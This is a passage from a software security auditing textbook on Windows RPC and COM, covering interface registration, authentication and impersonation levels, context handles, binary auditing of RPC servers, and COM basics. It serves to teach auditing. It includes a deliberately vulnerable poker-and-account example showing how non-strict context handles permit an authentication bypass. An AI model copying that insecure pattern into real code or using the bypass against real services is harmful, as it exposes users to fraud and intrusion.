application. ACFs have the same format as their IDL counterparts, except the attributes they specify don't alter the interface definition. They have an attribute list defined in square brackets followed by the interface keyword and an interface definition. The definition must be identical to the one in the IDL file that defines the same interface. You should note a couple of points about ACFs and IDL files. First, they are optional. An application doesn't need to make an ACF to build a working RPC application. If the ACF doesn't exist, no special options are enabled. Further, the contents of the ACF can be put in an IDL file; it doesn't matter to the MIDL compiler. So you often encounter ACF attributes in an IDL file. RPC Servers Now you have a basic idea of what to audit and where to start. Next, you need to examine how an RPC server might control the exposure of its network interfaces. This means you need to be familiar with how the RPC interface is registered and what impact registration might have on the application's attack surface. Registering Interfaces The basic registration of an RPC interface is achieved with one of two functions, described in the following paragraphs. The RpcServerRegisterIf() function is the primary means for registering an interface with the endpoint mapper: void RPC_ENTRY RpcServerRegisterIf(RPC_IF_HANDLE IfSpec, UUID *MgrTypeUuid, RPC_MGR_EPV *MgrEpv) The first parameter is an RPC interface handle, which is a structure generated automatically by the MIDL compiler. The second argument associates a UUID with the third argument, an entry point vector (EPV). The EPV is a table of function pointers to the RPC routines available to clients connecting to the interface. Generally, the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 727 second and third arguments are NULL, which causes no UUID to be associated with the EPV and accepts the default EPV generated by the MIDL compiler. The RpcServerRegisterIfEx() function gives developers more control in registering an RPC interface: RPC_STATUS RPC_ENTRY RpcServerRegisterIfEx(RPC_IF_HANDLE IfSpec, UUID *MgrTypeUuid, RPC_MGR_EPV *MgrEpv, unsigned int Flags, unsigned int MaxCalls, RPC_IF_CALLBACK_FN *IfCallback) This function can be used to restrict the interface's availability. Of particular note is the last parameter, which is a security callback function. It's called whenever a client attempts to call a procedure from the interface being registered. This function is intended to evaluate each connecting client and whether it should have access to the interface. It's called automatically whenever a client attempts to access an interface. The Flags parameter also has some interesting side effects on how the server behaves. These are the two most security-relevant flags:  RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH Normally, registering a security callback function doesn't prevent unauthenticated RPC calls from being rejected automatically. Specifying this flag negates that behavior, permitting unauthenticated calls. This flag requires the callback function to permit or deny the request based on other criteria.  RPC_IF_ALLOW_LOCAL_ONLY Requests are allowed only from local named pipes (ncacn_np) or local RPC (ncalrpc). All requests from other protocol sequences or via remote named pipes are rejected automatically. RPC interfaces can also be registered through the following function: RPC_STATUS RPC_ENTRY RpcServerRegisterIf2(RPC_IF_HANDLE IfSpec, UUID *MgrTypeUuid, RPC_MGR_EPV *MgrEpv, unsigned int Flags, unsigned int MaxCalls, unsigned int MaxRpcSize, RPC_IF_CALLBACK_FN *IfCallbackFn) This function is identical to RpcServerRegisterIfEx(), except it contains an additional parameter, MaxRpcSize, used to specify a maximum size in bytes for RPC messages. It can be especially useful for preventing buffer manipulation attacks when the message size is fixed or within a known range. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 728 A quick glance at these three functions should make it clear that how a server is registered has a impact on security. For example, take a look at the following server registration: RpcServerRegisterIfEx(hSpec, NULL, NULL, 0, 20, NULL) The preceding registration has fairly relaxed security compared with this one: RpcServerRegisterIfEx(hSpec, NULL, NULL, RPC_IF_ALLOW_LOCAL_ONLY, 20, MyCallback) This registration allows only locally originated requests to be processed and has a security callback function. Of course, having a security callback function isn't enough; it has to perform its job. You see how this is done in "Authenticating Requests" later in this chapter. Binding to an Endpoint After an interface is registered with the RPC runtime, the server needs to bind to endpoints so that clients can contact it, which is a two-step process. The first step is to register protocol sequences that the server should accept connections on. These protocol sequences are the ones described previously in the "RPC Transports" section. They are bound by using the RpcServerUseProtseq() family of functions. Take a look at the prototype for RpcServerUseProtseq(): RPC_STATUS RPC_ENTRY RpcServerUseProtseq(unsigned char *ProtSeq, unsigned int MaxCalls, void *SecurityDescriptor) This function causes the current process to listen for RPC requests over a specific protocol, so it affects all RPC servers in the current process. Each call allows you to specify one protocol sequence as the first parameter, so an RPC server listening on multiple transports needs to call this function multiple times. The protocol sequence functions can optionally take a security descriptor for the ncalrpc and ncan_np protocol sequences. This security descriptor is the most effective method of restricting RPC connections to a specific group of users. The RpcServerUseProtseqEx() functions add the capability to include a transport policy as part of the protocol registration. Including the transport policy allows developers to restrict the allocation of dynamic ports and selectively bind interfaces on multihomed computers. Although this level of specificity isn't required for many applications, certain deployment environments might necessitate it. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 729 Up to this point, the RpcServerUseAllProtseqs() family of functions haven't been discussed. However, it's important to make note of these functions because their use generally presents an unnecessarily high security risk and should be reviewed closely when encountered. These functions bind to all available interfaces, potentially creating a dangerous exposure of the RPC server. In particular, they might bind to interfaces with insufficient access control or interfaces on hostile networks. Note Don't forget that protocol registration affects all RPC servers in the process. This means any servers with differing protocol security must run in different processes. The next part of binding involves registering the endpoints for each protocol sequence. The endpoint is protocol-specific information required for contacting the RPC server. For example, the TCP protocol sequence uses a TCP port for its endpoint. Endpoints are registered with the RpcEpRegister() function, which works as shown: RPC_STATUS RPC_ENTRY RpcEpRegister(RPC_IF_HANDLE IfSpec, RPC_BINDING_VECTOR *BindingVector, UUID_VECTOR *UuidVector, unsigned char *Annotation) This function supplies the endpoint mapper with the endpoints of an RPC interface. The first parameter is RPC_IF_HANDLE, mentioned in the previous section. The next two parameters contain vectors of binding handles and UUIDs to register with the endpoint mapper. Some utility methods simplify endpoint registration, however. The RpcServerUseProtseqEp() can be used to register the endpoint and protocol sequence in a single call. However, the easiest way to handle registration is to use the RpcServerUseProtseqIf() functions; they register all endpoints specified in the IDL file. Listening for Requests The only thing left in setting up the server is to listen for RPC requests by using the RpcServerListen() function. This function isn't that interesting, except it indicates that the server application is expecting requests from that point forward and potentially exposed to malicious input. All code to handle those requests is indicated in the previous steps of interface registration. Authentication The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 730 As you would expect, the attack surface of an RPC application depends heavily on the level of authentication it requires. Windows provides several different levels of authentication, which are layered on top of each other. This means each new level of authentication performs the authentication of the previous levels and adds some requirements. The authentication levels are listed in ascending order:  RPC_C_AUTHN_LEVEL_DEFAULT Default level of authentication chosen by the current OS settings. (This level is not additive.)  RPC_C_AUTHN_LEVEL_NONE No authentication; any anonymous user can access the service  RPC_C_AUTHN_LEVEL_CONNECT Authentication is done only at connection establishment and not for individual calls.  RPC_C_AUTHN_LEVEL_CALL This level specifies that users must authenticate for each procedure call they make. It's intended primarily for use with connectionless transports.  RPC_C_AUTHN_LEVEL_PKT This level ensures that any data received is from the client that originally established the connection. No data validation is performed, however.  RPC_C_AUTHN_LEVEL_PKT_INTEGRITY This level is like RPC_C_AUTHN_LEVEL_PKT, except it also ensures that no data has been modified en route.  RPC_C_AUTHN_LEVEL_PKT_PRIVACY This level does the same as RPC_C_AUTHN_LEVEL_PKT_INTEGRITY and uses encryption to ensure that third parties can't read data being transmitted. In addition to the authentication level performed on incoming packets, programmers can also select the services for authenticating clients. These authentication services include NTLM authentication and Kerberos. There's also the provision for no authentication, indicated by the RPC_C_AUTHN_NONE constant. Each authentication service must be registered by calling RpcServerRegisterAuthInfo() with the appropriate parameters for the service. For most applications, RPC_C_AUTHN_GSS_NEGOTIATE provides the best results, as it attempts to use Kerberos authentication but can downgrade to NTLM if required. You should be wary of any application that doesn't require at least an RPC_C_AUTHN_LEVEL_CONNECT authentication, using the RPC_C_AUTHN_GSS_NEGOTIATE service or better. Authenticating Requests You've seen how the server can restrict interfaces and provide a basic authentication requirement, but what about authenticating the actual calls and providing authorization? RPC authorization and authentication are specific to a binding. You know that a server can provide a DACL for a binding, which should be the foundation of any RPC security. However, two routines can be used in a security callback (or in a The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 731 call itself, for that matter) to provide detailed client authentication information from a binding handle. The first is as follows: RPC_STATUS RPC_ENTRY RpcBindingInqAuthClient( RPC_BINDING_HANDLE ClientBinding, RPC_AUTH_HANDLE *Privs, unsigned char **ServerPrincName, unsigned long *AuthnLevel, unsigned long *AuthnSvc, unsigned long *AuthsSvc) The second and third parameters of this function provide all authentication information associated with the client's binding handle. The remaining parameters cover the authentication of the client requests. When supporting the RPC_C_AUTHN_WINNT service, the final parameter is always RPC_C_AUTHZ_NONE. The RpcBindingInqAuthClient() function is superseded in Windows XP and later by the following function: RPCRTAPI RPC_STATUS RPC_ENTRY RpcServerInqCallAttributes( RPC_BINDING_HANDLE ClientBinding, void *RpcCallAttributes) This function meets the same requirements as RpcBindingInqAuthClient() and provides additional client binding information. This information is returned in the second parameter in the RPC_CALL_ATTRIBUTES_V2 structure. In addition to the authentication level and service, it indicates whether a NULL session is used, what protocol sequence is used, whether the client is local or remote, and a multitude of other useful tidbits. Note that this function isn't supported over ncacn_dg protocols, so the return values need to be checked to make sure the function was able to obtain the correct information. Impersonation in RPC RPC can impersonate authenticated clients via the same basic infrastructure as named pipes. Generally, it's the most effective method for accessing secure objects safely in the calling user's context. It allows developers to use the familiar DACL structure on objects and place the burden of security enforcement on the OS. An RPC server can impersonate a client with one of two functions: RpcImpersonateClient() and RpcGetAuthorizationContextForClient(). The prototypes for these functions are explained in the following paragraphs. The following function impersonates the client indicated by the binding handle: RPC_STATUS RPC_ENTRY RpcImpersonateClient( The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 732 RPC_BINDING_HANDLE BindingHandle) The BindingHandle parameter can be 0, in which case the server impersonates the context of the client currently being served by the thread. This function is the primary mechanism used for impersonation of a client. The main purpose of the following function is to return an AUTHZ_CLIENT_CONTEXT_HANDLE structure that represents the client indicated by the first parameter: RPC_STATUS RPC_ENTRY RpcGetAuthorizationContextForClient( RPC_BINDING_HANDLE ClientBinding, BOOL ImpersonateOnReturn, PVOID Reserved1, PLARGE_INTEGER pExpirationTime, LUID Reserved2, DWORD Reserved3, PVOID Reserved4, PVOID *pAuthzClientContext) Of particular interest is the ImpersonateOnReturn parameter. If it's set to true, the function impersonates the client indicated by the ClientBinding binding handle, just as though RpcImpersonateClient() has been called. When auditing RPC applications, you need to be aware of how clients can restrict servers' capability to impersonate them. Neglecting to take this step might expose a client's credentials to a malicious server. A client application can enforce impersonation restrictions on a per-binding basis with RpcBindingSetAuthInfoEx(). This function has the following prototype: RPC_STATUS RPC_ENTRY RpcBindingSetAuthInfoEx( RPC_BINDING_HANDLE Binding, unsigned char PAPI *ServerPrincName, unsigned long AuthLevel, unsigned long AuthnSvc, RPC_AUTH_IDENTITY_HANDLE AuthIdentity, unsigned long AuthzSvc, RPC_SECURITY_QOS *SecurityQOS) Note the last parameter, which points to an RPC_SECURITY_QOS structure. Although there are several variations of this structure, depending on the version, each has an ImpersonationType member that indicates what level of impersonation a server can use with the connecting client. The legal values for this member are as follows:  RPC_C_IMP_LEVEL_DEFAULT Use the default impersonation level.  RPC_C_IMP_LEVEL_ANONYMOUS Use the SecurityAnonymous impersonation level.  RPC_C_IMP_LEVEL_IDENTIFY Use the SecurityIdentify impersonation level. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 733  RPC_C_IMP_LEVEL_IMPERSONATE Use the SecurityImpersonate impersonation level.  RPC_C_IMP_LEVEL_DELEGATE Use the SecurityDelegation impersonation level (cloaking). Of these values, obviously the most dangerous are RPC_C_IMP_LEVEL_IMPERSONATE and RPC_C_IMP_LEVEL_DELEGATE. By permitting either impersonation level, the client allows the server to make use of its credentials. The delegation impersonation level extends the server's capabilities even more than typical impersonations. It allows the server to authenticate across the network on behalf of the clientthat is, the server can access anything on the network as though it's the connected client. You should inspect any code using either value to ensure that impersonation is required and being used properly. Note If the local RPC endpoint is used (ncalrpc), RPC_C_IMP_LEVEL_IMPERSONATE and RPC_C_IMP_LEVEL_DELEGATE are equivalent. Even if RPC_C_IMP_LEVEL_IMPERSONATE is used, the server is permitted to make network accesses on behalf of the client. As with named pipes, failure to check return values of impersonation functions can result in an RPC request being given more privileges than it's supposed to have. In fact, this type of error is even more relevant in RPC because many factors can cause impersonation functions to fail. Context Handles and State Before you go any further, you need to see how RPC keeps state information about connected clients. RPC is inherently stateless, but it does provide explicit mechanisms for maintaining state. This state information might include session information retrieved from a database or information on whether a client has called procedures in the correct sequence. The typical RPC mechanism for maintaining state is the context handle, a unique token a client can supply to a server that's similar in function to a session ID stored in an HTTP cookie. From the server's point of view, the context handle is a pointer to the associated data for that client, so no special translation of the context handle is necessary. The server just refers to a context handle as though it's a void pointer. Of course, transmitting a pointer to a potentially malicious client would be extremely dangerous. Instead, the RPC runtime sends the client a unique context token and translates the token back to the original pointer value on receipt. Context handles aren't a mandatory part of RPC and aren't required to make an RPC program work. However, most RPC services require context handles to function properly and prevent disclosing any sensitive information to the client. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 734 Context handles are useful for maintaining application state; however, they aren't intended for maintaining authentication state. A context handle could be exposed to malicious users in a variety of ways, such as by sniffing the network transport or through the actions of a malicious client. Another RPC interface might even reveal the context handle if strict context handles aren't used. This simple interface uses a context handle for security purposes: BOOL LogonUser([out] PCONTEXT_HANDLE ctx) BOOL LogoffUser([in] PCONTEXT_HANDLE ctx) BOOL GetTableList([in] PCONTEXT_HANDLE ctx, [out] PTABLE_DESCRIPTOR tables) BOOL JoinTable([in] PCONTEXT_HANDLE ctx, [in] int table_id) BOOL SitOut([in] PCONTEXT_HANDLE ctx) BOOL SetBack([in] PCONTEXT_HANDLE ctx) BOOL CashIn([in] PCONTEXT_HANDLE ctx, [in] PCREDIT_CARD ccDetails) BOOL CashOut([in] PCONTEXT_HANDLE ctx, [out] PMAIL_INFO mailInfo) This interface represents a simple RPC poker game that uses a context handle to maintain the session. The first step in using this application is to log in. Like any well-behaved RPC service, this application determines the user's identity via native RPC authentication, but after that, it relies on the context handle. So your first consideration is whether that context handle can be exposed to anyone. For instance, most RPC interfaces don't require an encrypted channel, so attackers might be able to sniff the context handle over the network. After attackers have the context handle, they can take control of the session and steal a player's winnings. Strict Context Handles Generally, an RPC interface has no need to share a context handle with another interface. However, the RPC subsystem has no way of determining this implicitly. So the RPC service normally accepts any valid context handle, regardless of the originating interface. Developers can prevent this issue by using strict context handles defined by using the strict_context_handle attribute. A strict context handle is valid only for the originating interface, and the originator doesn't accept context handles from any other interface. In the poker example, context handles are used to validate authentication. If this interface fails to use strict context handles, attackers could go to an unrelated interface and receive a valid context handle for the poker interface. A nonstrict context handle allows attackers to bypass the authentication system easily because the application checks credentials only in the logon method. If attackers provide a The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 735 handle from another interface, they have implicit access to all methods of the poker interface. Of course, the poker game probably won't do well if attackers provide a context handle from another interface. Effectively, they are just giving the application an arbitrary data structure that has no relation to what it expects. This input would probably cause a crash or throw some other error. However, what would happen if the other interface could be manipulated enough to make the arbitrary structure recognizable to the poker game? The following structure represents the context for the poker game followed by an implementation of the CashOut() function: // Game implementation struct GAME_CONTEXT { long iBalance; BOOLEAN isComplete; HAND myHand; } BOOL CashOut(PCONTEXT_HANDLE ctx, PMAIL_INFO mailInfo) { struct GAME_CONTEXT *game = ctx; if (game->isComplete) { DepositWinnings(game->iBalance); return TRUE; } return FALSE; } ... more game handling functions ... Now you need to consider another interface on the same server. Assume the poker game is part of a casino application that exposes a separate RPC interface for account management. The following code is the context structure for the account management interface, along with a function to update account information: // Account implementation struct ACCT_CONTEXT { long birthDate; char sName[MAX_STR]; char sAcctNum[MAX_STR]; } void UpdateAcctInfo(PCONTEXT_HANDLE ctx, long bDate, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 736 char *name, char *acctnum) { struct ACCT_CONTEXT *acct = ctx; acct->birthDate = bDate; strncpy(acct->sName, name, MAX_STR - 1); strncpy(acct->sAcctNum, acctnum, MAX_STR - 1); } ... more account management functions ... This example is simple, but it should help make the vulnerability apparent. Attackers could use these interfaces to build an account structure with an extremely large balance. All that's necessary is calling the UpdateAcctInfo() function and passing a large value as the bDate parameter. Then attackers can call the CashOut() function on the poker interface. This interface pays out the amount passed as bDate in the earlier call because birthDate in ACCT_CONTEXT is at the same offset as iBalance in GAME_CONTEXT. So attackers can simply log in to the account manager interface, select how much money they want, and then cash out of the poker game. This example is contrived, but it does demonstrate the point of this attack. A real vulnerability is usually more complicated and has a more immediate impact. For example, a context handle pointing to a C++ class instance might allow attackers to overwrite vtable and function pointers, resulting in arbitrary code execution. Note The exact meaning and implementation of a vtable depends on the language and object model. However, for most purposes you can assume a vtable is simply a list of pointers to member functions associated with an object. One more quirk is that the other interface need not be implemented by a single application. It might be exposed by the OS or a third-party component. Developers might be unaware of what else is occurring and, therefore, consider strict context handles unnecessary. So you need to keep an eye out for this issue if you identify an interface that isn't using strict context handles, and see what functionality other interfaces might provide. Proprietary State Mechanisms Some application developers choose to write their own state-handling code in lieu of the mechanisms the RPC layer provides. These mechanisms generally exist for historical reasons or compatibility with other systems. As an auditor, you need to assess state-handling mechanisms by looking for the following vulnerabilities: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 737  Predictable (not cryptographically random) session identifiers  Short session identifiers vulnerable to brute-force attacks  Discoverable session identifiers (access control failure)  Session identifiers that leak sensitive information Generally, you'll find that custom state mechanisms fail to address at least one of these requirements. You might be able to use this information to identify a vulnerability that allows state manipulation or bypassing authentication. Threading in RPC The RPC subsystem services calls via a pool of worker threads. It's an efficient way of handling calls in Windows, but it does have some drawbacks. First, an RPC call can occur on any thread in the pool, so an RPC server can't expect any thread affinity between calls. This means the call should behave the same, regardless of the thread it's executing in. Second, an RPC call can be preempted at any time, even by another instance of the same call. This behavior can lead to vulnerabilities when access to shared resources isn't synchronized properly. Threading and concurrency issues are a topic of their own, however, so they are discussed in Chapter 13(? [????.]), "Synchronization and State." Auditing RPC Applications Now that you know the basics of RPC, you can use the following checklist as a guideline for performing RPC audits: 1. Look for any other RPC servers in the same process that might expose protocols the developer didn't expect. 2. If the application doesn't use strict context handles, look for any other interfaces that can be leveraged for an attack. 3. Look for any proprietary state-handling mechanisms, and see whether they can be used for spoofing or state manipulation. 4. Check for weaknesses in the ACLs applied to the protocol sequence. 5. Look for authentication bypasses or spoofing attacks that are possible because of weak transport security. 6. Look for authentication bypasses in custom authentication schemes, weak use of authentication, or the absence of authentication. 7. Check to see whether state mechanisms are being used to maintain security state. If they are, try to find ways to bypass them. 8. Audit any impersonation to see whether a client can evade it or use it to steal the server's credentials. 9. Pay special attention to possible race conditions and synchronization issues with shared resources (discussed in more detail in Chapter 13(? [????.])). 10. Review all exposed interfaces for general implementation vulnerabilities. If the IDL isn't compiled with the /robust switch and interface parameters aren't The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 738 restricted, you need to spend more time checking for memory corruption vulnerabilities. RPC Interface Binary Audits If you don't have the source code for an RPC service, you need to be able to locate RPC interfaces in the corresponding application binaries. This section explains a simple technique for locating all relevant methods in an RPC binary. First, recall that an RPC server registers its interfaces by using the RpcServerRegisterIf() and RpcServerRegisterIfEx() functions. Here's the prototype of the RpcServerRegisterIfEx() function: RPC_STATUS RPC_ENTRY RpcServerRegisterIfEx(RPC_IF_HANDLE IfSpec, UUID *MgrTypeUuid, RPC_MGR_EPV *MgrEpv, unsigned int Flags, unsigned int MaxCalls, RPC_IF_CALLBACK_FN *IfCallback) The RpcServerRegisterIf() function has a similar prototype. Servers need to use one of these functions to indicate what methods are available. These methods are specified in the RPC_IF_HANDLE structure, the first argument. This structure isn't documented very well, but you can examine it by looking at the IDL-generated C server file that creates this structure. Essentially, RPC_IF_HANDLE contains only one member, which is a pointer to a RPC_SERVER_INTERFACE structure. This structure has the following format (as noted in rpcdcep.h): typedef struct _RPC_SERVER_INTERFACE { unsigned int Length; RPC_SYNTAX_IDENTIFIER InterfaceId; RPC_SYNTAX_IDENTIFIER TransferSyntax; PRPC_DISPATCH_TABLE DispatchTable; unsigned int RpcProtseqEndpointCount; PRPC_PROTSEQ_ENDPOINT RpcProtseqEndpoint; RPC_MGR_EPV __RPC_FAR *DefaultManagerEpv; void const __RPC_FAR *InterpreterInfo; unsigned int Flags ; } RPC_SERVER_INTERFACE, __RPC_FAR * PRPC_SERVER_INTERFACE; In a typical binary, this structure looks something like this: .text:75073BD8 dword_75073BD8 dd 44h, 300F3532h, 11D038CCh, 2000F0A3h, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 739 0DD0A6BAFh, 20001h .text:75073BD8 ; DATA XREF: .text:off_75073B88o .text:75073BD8 ; .data:off_7508603Co .text:75073BD8 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2 ; Interface ID .text:75073C04 dd offset DispatchTable .text:75073C08 dd 3 dup(0) ; RpcProtseqEndpointCount, RpcProtseqEndpoint, DefaultMgrEpv .text:75073C14 dd offset InterpreterInfo .text:75073C18 dd 4000001h ; flags Of particular interest is the InterpreterInfo field, which points to a MIDL_SERVER_INFO structure defined in rpcndr.h as the following: typedef struct _MIDL_SERVER_INFO_ { PMIDL_STUB_DESC pStubDesc; const SERVER_ROUTINE * DispatchTable; PFORMAT_STRING ProcString; const unsigned short * FmtStringOffset; const STUB_THUNK * ThunkTable; PFORMAT_STRING LocalFormatTypes; PFORMAT_STRING LocalProcString; const unsigned short * LocalFmtStringOffset; } MIDL_SERVER_INFO, *PMIDL_SERVER_INFO; In a binary, the structure looks like this: .text:75073C1C InterpreterInfo dd offset pStubDesc ; DATA XREF: .text:75073C14o .text:75073C20 dd offset ServerDispatchTable .text:75073C24 dd offset ProcString .text:75073C28 dd offset FmtStringOffset The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 740 .text:75073C2C dd 5 dup(0) The second member, named ServerDispatchTable in this example, contains a pointer to a table of all exposed server routines for the interface. To find RPC server routines in a binary, use the following steps: 1. Find the import for RpcServerRegisterIf() or RpcServerRegisterIfEx() and cross-reference to find where it's used. 2. Examine the first argument; it points to a single pointer that points to an RPC_SERVER_INTERFACE structure. 3. Follow the InterpreterInfo structure member in the RPC_SERVER_INTERFACE structure. 4. Follow the DispatchTable memory in the MIDL_SERVER_INFO structure to the table of server routines. Voilà! You're done. Notice all the interesting information you pick up along the way, such as whether a callback function is passed to RpcServerRegisterIfEx(), endpoints associated with the server interface, format string information, and so on. 7.8.7 COM The Component Object Model (COM) and Distributed Component Object Model (DCOM) facilities in Windows provide a framework for developing language- and location-independent components. These components can be created and accessed from within a process, between different processes on the same computer, or remotely over a network. Note COM has become an umbrella term that encompasses DCOM (remote COM) and other COM-related technologies. Previously, the term COM referred to object access and manipulation between different processes on the same computer; DCOM extended this functionality to make objects accessible over the network. Presently, they can all be referred to as COM technologies. COM is essentially an object-oriented wrapper for RPC; in fact, DCOM uses RPC for method invocation and communication. For the purposes of this discussion, COM and The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 741 DCOM are viewed more as extensions of RPC. These similarities can help you apply what you've already learned about RPC. COM: A Quick Primer The following sections give you a brief rundown of the COM architecture, in case you have limited experience with COM programming. These basics are essential to understanding the information that follows on potential security issues in COM applications. Components COM promotes the development of reusable components, much like the use of classes in object-oriented programs. Each component provides an interface (or several interfaces) that describes a series of methods for manipulating the object. In the context of COM, "interface" refers to a contract between COM objects and their clients. This contract specifies a series of methods the object implements. There are some major differences between a COM object and a class in an object-oriented program. COM objects are already precompiled and are accessible system-wide to any process that wants to use them. They are language independent and available to any application without having to be recompiled. Indeed, COM is a binary specification of sorts; it requires that objects export interfaces in a certain manner but doesn't care about the internal structure of how those objects can be implemented. In addition to being accessible to any language, COM objects can be implemented in a variety of languages; their internals are irrelevant as long as they adhere to their contracts. COM objects are uniquely identified on the system by a globally unique identifier (GUID) called a class ID (CLSID). When a COM object is registered on the system, it adds a key to the registry with the same name as the object's CLSID. This key is stored in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID. Note The HKEY_CLASSES_ROOT key is an alias for the HKEY_LOCAL_MACHINE\Software\Classes\CLSID, so the same CLSIDs can also be found at HKEY_CLASSES_ROOT\CLSID. These keys are installed so that the COM subsystem can locate and instantiate objects as they're requested. You can view registered COM objects on the system with the Registry Editor (regedit.exe), shown in Figure 12-2. Figure 12-2. Viewing COM objects with Regedit The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 742 [View full size image] As you can see, quite a few subkeys and values are installed for each CLSID; they're described as needed in the following discussion. Because CLSIDs are hard to remember and aren't meaningful to people, COM objects often have namesaliases that can be used to refer to the object in place of the CLSID. These aliases are called program IDs (ProgIDs) and are entirely optional. A program ID is stored in the ProgID value in the HKEY_LOCAL_MACHINE\Software\Classes\CLSID\<CLSID> key. A program ID can have any format, but the MSDN-recommended format is Program.Component.Version. For example, one of the Microsoft Excel component is named Excel.Sheet.8. Of course, it would take a long time to look up program IDs if every CLSID key were queried to see whether its ProgID matches a request, so another key is used for forward lookups: HKEY_LOCAL_MACHINE\Software\Classes\<ProgID>. This key has a CLSID value that points to the ProgID's associated class. COM objects operate in a client/server architecture; the endpoints of a COM connection can be different threads in the same process, threads in different processes, or even on different systems. An exposed COM interface is accessed in much the same way an RPC function is called. In DCOM, this launching process includes starting applications if necessary, applying security permissions, and registering DCOM applications as being available on certain endpoints. A COM object can be an in-process server or out-of-process server. In-process servers are implemented in DLLs that are loaded into the client process's address space on instantiation. For the most part, you don't need to worry about in-process servers because they are in the caller's address space and security context. Of course, ActiveX controls represent a special case of an in-process server, and they are discussed in "ActiveX Security" later in this chapter. An out-of-process server, however, runs inside its own process space. There are two types of out-of-process servers: local servers on the same system as the caller and The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 743 remote servers on another machine. Communication is performed via IPC primitives exposed by the COM runtime. In fact, DCOM uses RPC to transport messages behind the scenes. An out-of-process server can potentially run in a different context from the client, so it might have additional security considerations. Interfaces The whole point of COM objects is that they expose interfaces that are accessible to any clients that can use their functionality. A COM object can expose any number of interfaces, which consist of a series of functions related to the task. Each interface has a registered interface ID (IID) that uniquely identifies the interface. IIDs are recorded in the registry at HKEY_CLASSES_ROOT\Classes\Interface\<Interface ID>. This key contains a series of subkeys for each registered interface. As a code auditor, you need to examine these interfaces to see what attack surface they expose. Each COM interface is derived directly or indirectly from a base class called IUnknown, which provides a generic method of interaction with every COM object. Every COM object must provide an interface with the following three methods:  QueryInterface() Used to retrieve a pointer to a COM interface, given the IID of that interface  AddRef() Used to increment the reference count of an instantiated object  Release() Used to decrement the reference count of an instantiated object and free the object when the reference count drops to zero The QueryInterface() method is the real core of the IUnknown interface. It provides the capability to acquire instances of other interfaces the COM object supports. When reading COM documentation and technical manuals, you often encounter references to IUnknown. For example, the CoCreateInstance() function takes LPUNKNOWN type as a parameter, which allows the function to create an instance of any COM object because all COM objects are derived from IUnknown. Application IDs A collection of COM objects is referred to as a COM application or component. Each COM application has a unique ID, called an AppID, used to uniquely refer to a COM application on the system. Like CLSIDs, AppIDs are installed in the registry and contain a number of subkeys and values for per-application security settings. The AppID key provides a convenient location for enforcing security for applications hosting multiple COM objects. AppID keys are located in the registry at HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppId. Note The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 744 AppID keys are also accessible at HKEY_CLASSES_ROOT\AppId. Mapping CLSIDs to Applications You've learned how to look up registered COM objects in the registry, but how do you find the implementation of each object? This information can also be found in the registry. The HKEY_LOCAL_MACHINE\Software\Classes\CLSID\<CLSID> keys have one or more of the following values, depending on the threading capabilities of the COM object. The values of interest are as follows:  InprocHandler32 or InprocHandler Used to indicate a handler DLL that provides the COM API interface; this DLL is normally ole32.dll (or ole2.dll for 16-bit servers). It's rare, although possible, for a COM server to specify its own handler.  InprocServer32 or InprocServer Used to indicate a server DLL that houses the implementation of the COM object. This value is used when the COM object is an in-process server.  LocalServer32 or LocalServer Used to indicate an executable that houses the implementation of the COM object. It's used when the COM object is an out-of-process server. OLE Object Linking and Embedding (OLE) is the predecessor to modern Windows COM. The original version of OLE uses DDE to allow interaction between components of different applications. This functionality is still part of the basic COM infrastructure, although it doesn't affect the discussions of DCOM. However, it's worth mentioning this relationship because the term "OLE" appears in many COM functions and data types. Automation Objects Automation objects are a special subclass of COM objects that originally provided a simpler form of IPC for controlling another application (referred to as an automation server). For example, Internet Explorer and Microsoft Word expose automation interfaces that allow clients to completely control the application and documents it contains. Automation servers generally expose scriptable methods, which are methods called through an IDispatch interface accepting VARIANT arguments. This interface is compatible with scripting languages because it doesn't use language specific elements such as object vtables and typed parameters. When a script invokes a method on an object, the scripting engine can use the IDispatch interface to ask for the unique ID of a method. The ID is then passed along with an array of VARIANT arguments via the IDispatch::Invoke() method. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 745 Threading in COM Windows evolved from a simple single-threaded OS to a true multiuser, multithreaded OS. This evolution has required some scaffolding to allow older, thread-unsafe COM objects to function properly in multithreaded versions of Windows. This scaffolding is provided in the form of apartments. The historical version of COM is the single-threaded apartment (STA); a COM process can have any number of STAs, with each one running on a separate thread. The STA uses DDE to perform method calls on objects, thus requiring a window message pump to function. The advantage of using the STA is that it synchronizes all messages processed by the application. This synchronization makes it fairly easy to implement a basic single-threaded COM object. From a security perspective, an STA COM object presents unique concerns only if it's running in a privileged context on an interactive desktop. These issues have been discussed previously in the sections on window messaging and shatter vulnerabilities. The multithreaded apartment (MTA) is also referred to as the free threaded apartment; a COM process has at most one MTA shared across all MTA objects in the process. The COM subsystem makes direct use of the object vtable when dispatching methods in an MTA, so it doesn't require any mechanism for handling window messages. Of course, this means COM method calls provide no guarantee of sequencing or serialization for an MTA. A thread must set its apartment model before calling any COM functions. This is done by calling CoInitializeEx(), which has the following prototype: HRESULT CoInitializeEx(void *pReserved, DWORD dwCoInit) The dwCoInit argument dictates whether the thread enters a new STA or enters the process's MTA. It can take the following values:  COINIT_MULTITHREADED Indicates the thread enters the MTA.  COINIT_APARTMENTTHREADED Indicates the thread should create a new STA. Of course, an in-process server has no way of knowing what model its client process is using, 